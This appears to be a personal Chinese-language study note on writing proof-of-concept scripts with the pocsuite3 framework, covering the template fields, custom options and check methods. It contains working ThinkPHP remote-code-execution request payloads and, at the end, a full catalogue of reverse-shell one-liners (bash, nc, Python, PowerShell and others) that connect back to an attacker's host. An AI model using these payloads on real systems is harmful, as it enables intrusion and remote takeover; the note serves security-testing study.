✋这里记录一写关于pocsuite的使用方法,还有一些在使用时的小tips,用到什么记录什么

仅为自己使用时查阅,非使用文档❌

🤦‍♂️关于刚开始看的时候的感觉:(满脸问号)这是什么意思

官方文档:https://pocsuite.org/guide/parameter-pocsuite.html

项目基本结构

pocsuite提供POC,在<font style="color:#E8323C;">pocsuite/pocs</font>目录下

Pocsuite3基础 - 图1

关于poc加载,官方文档很清楚。

使用的是-r参数来加载poc,而且-r参数默认的加载目录是pocsuite/pocs

data目录下是字典文件

POC编写

编写POC的时候,也就是POC开发。首先pocsuite会有一个自己的模板。使用命令可以直接生成模板,然后只需要根据已知的payload进行填充和修改,即可完成poc编写。

  1. pocsuite --new

Pocsuite3基础 - 图2

默认选择(一直敲回车)即可

最后在执行命令的目录下生成一个以当前日期命名模板文件。

现在来看看它文件中的内容吧。

  1. from pocsuite3.api import (
  2. minimum_version_required, POCBase, register_poc, requests, logger,
  3. OptString, OrderedDict,
  4. random_str,
  5. )

先导入了一些依赖包

minimum_version_required:最低版本需求

Pocsuite3基础 - 图3

POCBase:继承自POCBase类

Pocsuite3基础 - 图4

然后就是一些信息的填充

  1. vulID = '99335' # Seebug 漏洞收录 ID,如果没有则为 0
  2. version = '1' # PoC 的版本,默认为 1
  3. author = 'seebug' # PoC 的作者
  4. vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d)
  5. createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d)
  6. updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d)
  7. references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址,0day 不用写
  8. name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> <cve编号>
  9. appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址
  10. appName = 'FortiWeb' # 漏洞应用名称
  11. appVersion = '<=6.4.0' # 漏洞影响版本
  12. vulType = 'Code Execution' # 漏洞类型,参见漏洞类型规范表
  13. desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述
  14. samples = ['http://192.168.1.1'] # 测试样列,就是用 PoC 测试成功的目标
  15. install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
  16. pocDesc = ''' poc的用法描述 '''
  17. dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。
  18. suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则
  19. suricata_response = '' # 响应流量 suricata 规则

自定义命令行参数

编写_option()方法,自定义在attack模式时需要使用的参数

  1. def _options(self):
  2. o = OrderedDict()
  3. o['param'] = OptString('', description='The param')
  4. return o

这是原来模板固定的样子,修改

  1. def _options(self):
  2. o = OrderedDict()
  3. o['cmd'] = OptString('uname -a', description='The command to execute')
  4. return o

自定义命令的形式就是这样的

<font style="color:#E8323C;">o['自定义参数名'] = OptString('执行的命令', descrition='描述')</font>

可以同时定义多个

  1. def _options(self):
  2. o = OrderedDict()
  3. o['cmd'] = OptString('uname -a', description='The command to execute')
  4. o['username'] = OptString('admin', description='login with username')
  5. o['password'] = OptString('123456' description='login with password')
  6. return o

调用自定义的参数

在调用前,如果已经定义了自定义参数,那么怎么查看:

  1. pocsuite -r xxx_xxx_cve_20xx_xxx_xxx.py --options

将显示自定义的参数。

Pocsuite3基础 - 图5

如果是命令行中使用的话,使用方法为

  1. pocsuite -r xxx_xxx_cve_20xx_xxx_xxx.py --username admin --password 123456 -u 127.0.0.1

注意:这里的参数,可以执行也可以不指定,指定了就像上面这样执行的话,是可以指定任何不同的参数,如果不指定参数,那么默认参数就是定义时的初始参数。

这是一种调用方式,另一种则是在脚本内调用,是在文件内函数中进行调用,就不在命令行中使用了。

在这里使用的话,需要使用到一个函数get_option()

  1. def getp_option(self, name):
  2. if name not in self.payload_options:
  3. raise PocsuiteValidationException
  4. return self.payload_options[name].value

调用方式为

  1. def _attack(self):
  2. result = {}
  3. # self.get_option() 方法可以获取自定义的命令行参数
  4. param = self.get_option('cmd')
  5. res = self._exploit(param)
  6. result['VerifyInfo'] = {}
  7. result['VerifyInfo']['URL'] = self.url
  8. result['VerifyInfo'][param] = res
  9. # 统一调用 self.parse_output() 返回结果
  10. return self.parse_output(result)

编写关键方法

_exploit()主要是漏洞细节

  1. def _exploit(self, param=''):
  2. if not self._check(dork=''):
  3. return False
  4. headers = {'Content-Type': 'application/x-www-form-urlencoded'}
  5. payload = 'a=b'
  6. res = requests.post(self.url, headers=headers, data=payload)
  7. logger.debug(res.text)
  8. return res.text

有的不需要写这个,而是_check()

  1. def _check(self, url):
  2. flag = 'Registered PHP Streams'
  3. data = OrderedDict([
  4. ("function", "call_user_func_array"),
  5. ("vars[0]", "phpinfo"),
  6. ("vars[1][]", "-1")
  7. ])
  8. payloads = [
  9. r"/?s=admin/\think\app/invokefunction",
  10. r"/admin.php?s=admin/\think\app/invokefunction",
  11. r"/index.php?s=admin/\think\app/invokefunction",
  12. r"/?s=index/\think\Container/invokefunction",
  13. r"/index.php?s=index/\think\Container/invokefunction",
  14. r"/index.php?s=index/\think\app/invokefunction"
  15. ]
  16. for payload in payloads:
  17. vul_url = url + payload
  18. r = requests.post(vul_url, data=data)
  19. if flag in r.text:
  20. return payload, dict(data)
  21. return False

以上两个方法都是起到一个重复验证的过程,比如说三种模式,verify/attack/shell都需要调用这个方法。

比如说:我要写个thinkphp_rce的POC脚本,那么我需要知道我用到的payload是什么

无论是验证,还是攻击,都需要先得到这个payload我才可以继续进行下一步。所以这里我就写一个方法,是可以得到这个payload,然后我在使用的时候直接调用一下这个方法,就不需要再次写多余的代码去得到payload了。也是很好理解。方便嘛!

模块介绍

VUL_TYPE

模块的导入方法:<font style="color:#E8323C;">from pocsuite3.api import VUL_TYPE</font>

在编写POC的时候调用:

vulType = VUL_TYPE.CODE_EXECUTION

可以不用自己写这个漏洞是个什么类型的了,下面是常用的,(太多了,就没弄完,无伤大雅)

  1. BACKDOOR = 'Backdoor' # 后门
  2. INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling' # Cookie验证错误
  3. CSRF = 'CSRF' # CSRF
  4. XSS = 'XSS' # XSS
  5. UXSS = 'UXSS' # 通用跨站脚本攻击(估计是跟XSS一类的,没用到过)
  6. SSRF = 'Server-Side Request Forgery' # SSRF
  7. SHELLCODE = 'ShellCode' # ShellCode
  8. SQL_INJECTION = 'SQL Injection' # SQL注入
  9. ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download' # 任意文件下载
  10. ARBITRARY_FILE_CREATION = 'Arbitrary File Creation' # 任意文件写入
  11. ARBITRARY_FILE_DELETION = 'Arbitrary File Deletion' # 任意文件删除
  12. ARBITRARY_FILE_READ = 'Arbitrary File Read' # 任意文件读取
  13. OTHER = 'Other' # 其他
  14. VARIABLE_COVERAGE = 'Variable Coverage' # 变量覆盖
  15. COMMAND_EXECUTION = 'Command Execution' # 命令执行
  16. INJECTING_MALWARE_CODES = 'Injecting Malware Codes' # 恶意代码注入
  17. WEAK_PASSWORD = 'Weak Password' # 弱口令
  18. DENIAL_OF_SERVICE = 'Denial Of service' # 拒绝服务攻击(DDOS)
  19. DATABASE_FOUND = 'Database Found' # (翻译不出)
  20. UPLOAD_FILES = 'Upload Files' # 文件上传
  21. LOCAL_OVERFLOW = 'Local Overflow' # 本地溢出(没见过,是二进制漏洞嘛?)
  22. PRIVILEGE_ESCALATION = 'Privilege Escalation' # 提权
  23. INFORMATION_DISCLOSURE = 'Information Disclosure' # 信息泄露
  24. LOGIN_BYPASS = 'Login Bypass' # 登录绕过
  25. PATH_TRAVERSAL = 'Path Traversal' # 目录遍历
  26. RESOLVE_ERROR = 'Resolve Error' # 错误解决?(待议)
  27. UNAUTHORIZED_ACCESS = 'Unauthorized Access' # 未授权访问
  28. PATH_DISCLOSURE = 'Path Disclosure' # 目录信息泄露
  29. CODE_EXECUTION = 'Code Execution' # 代码执行
  30. REMOTE_PASSWORD_CHANGE = 'Remote Password Change' # 远程密码修改
  31. REMOTE_OVERFLOW = 'Remote Overflow' # 远程溢出(没见过)
  32. DIRECTORY_LISTING = 'Directory Listing' # 目录相关漏洞
  33. NULL_BYTE_INJECTION = 'Null Byte Injection' # 空字符注入
  34. MAN_IN_THE_MIDDLE = 'Man-in-the-middle'
  35. FORMAT_STRING = 'Format String'
  36. BUFFER_OVERFLOW = 'Buffer Overflow'
  37. CRLF_INJECTION = 'CRLF Injection'
  38. XML_INJECTION = 'XML Injection' # XML注入
  39. LOCAL_FILE_INCLUSION = 'Local File Inclusion' # 本地文件包含
  40. REMOTE_FILE_INCLUSION = 'Remote File Inclusion' # 远程文件包含
  41. CREDENTIAL_PREDICTION = 'Credential Prediction'
  42. HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution'
  43. HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting'
  44. HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting'
  45. HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling'
  46. HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling'
  47. SSI_INJECTION = 'SSI Injection' # SSI注入
  48. OUT_OF_MEMORY = 'Out of Memory'
  49. INTEGER_OVERFLOWS = 'Integer Overflows'
  50. CONTENT_SPOOFING = 'Content Spoofing'
  51. XQUERY_INJECTION = 'XQuery Injection'
  52. BUFFER_OVER_READ = 'Buffer Over-read'
  53. BRUTE_FORCE = 'Brute Force' # 暴力破解
  54. LDAP_INJECTION = 'LDAP Injection' # LDAP注入
  55. SECURITY_MODE_BYPASS = 'Security Mode Bypass'
  56. BACKUP_FILE_FOUND = 'Backup File Found' # 备份文件
  57. XPATH_INJECTION = 'XPath Injection'
  58. URL_REDIRECTOR_ABUSE = 'URL Redirector Abuse'
  59. CODE_DISCLOSURE = 'Code Disclosure'
  60. USE_AFTER_FREE = 'Use After Free'
  61. DNS_HIJACKING = 'DNS Hijacking'
  62. IMPROPER_INPUT_VALIDATION = 'Improper Input Validation'
  63. UAF = 'Use After Free'

REVERSE_PAYLOAD

反弹shell的payload

这里集成了很多的弹shell的payload,无论是bash的还是java/php/python/nc/powershell

都可以直接调用,而不需要再去找payload写上去了。很方便!

  1. class REVERSE_PAYLOAD:
  2. NC = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f"""
  3. NC2 = """nc -e /bin/sh {0} {1}"""
  4. NC3 = """rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p"""
  5. BASH0 = """sh -i >& /dev/tcp/{0}/{1} 0>&1"""
  6. BASH = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""
  7. BASH2 = """bash -c 'sh -i &gt;&amp; /dev/tcp/{0}/{1} 0&gt;&amp;1'"""
  8. TELNET = """rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p"""
  9. PERL = (
  10. """perl -e 'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));"""
  11. """if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");"""
  12. """open(STDERR,">&S");exec("/bin/sh -i");}};'"""
  13. )
  14. PYTHON = (
  15. """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"""
  16. """s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"""
  17. """p=subprocess.call(["/bin/sh","-i"]);'"""
  18. )
  19. PHP = """php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'"""
  20. RUBY = """ruby -rsocket -e'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'"""
  21. JAVA = (
  22. 'r = Runtime.getRuntime()\n'
  23. 'p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | '
  24. 'while read line; do $line 2>&5 >&5; done"] as String[])\n'
  25. 'p.waitFor()'
  26. )
  27. POWERSHELL = (
  28. '''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();'''
  29. '''[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)'''
  30. '''{{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);'''
  31. '''$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';'''
  32. '''$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);'''
  33. '''$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'''
  34. )
  35. OPENSSL = (
  36. 'rm -rf /tmp/s;mkfifo /tmp/s||mknod /tmp/s p;'
  37. '/bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;'
  38. 'rm -rf /tmp/s'
  39. )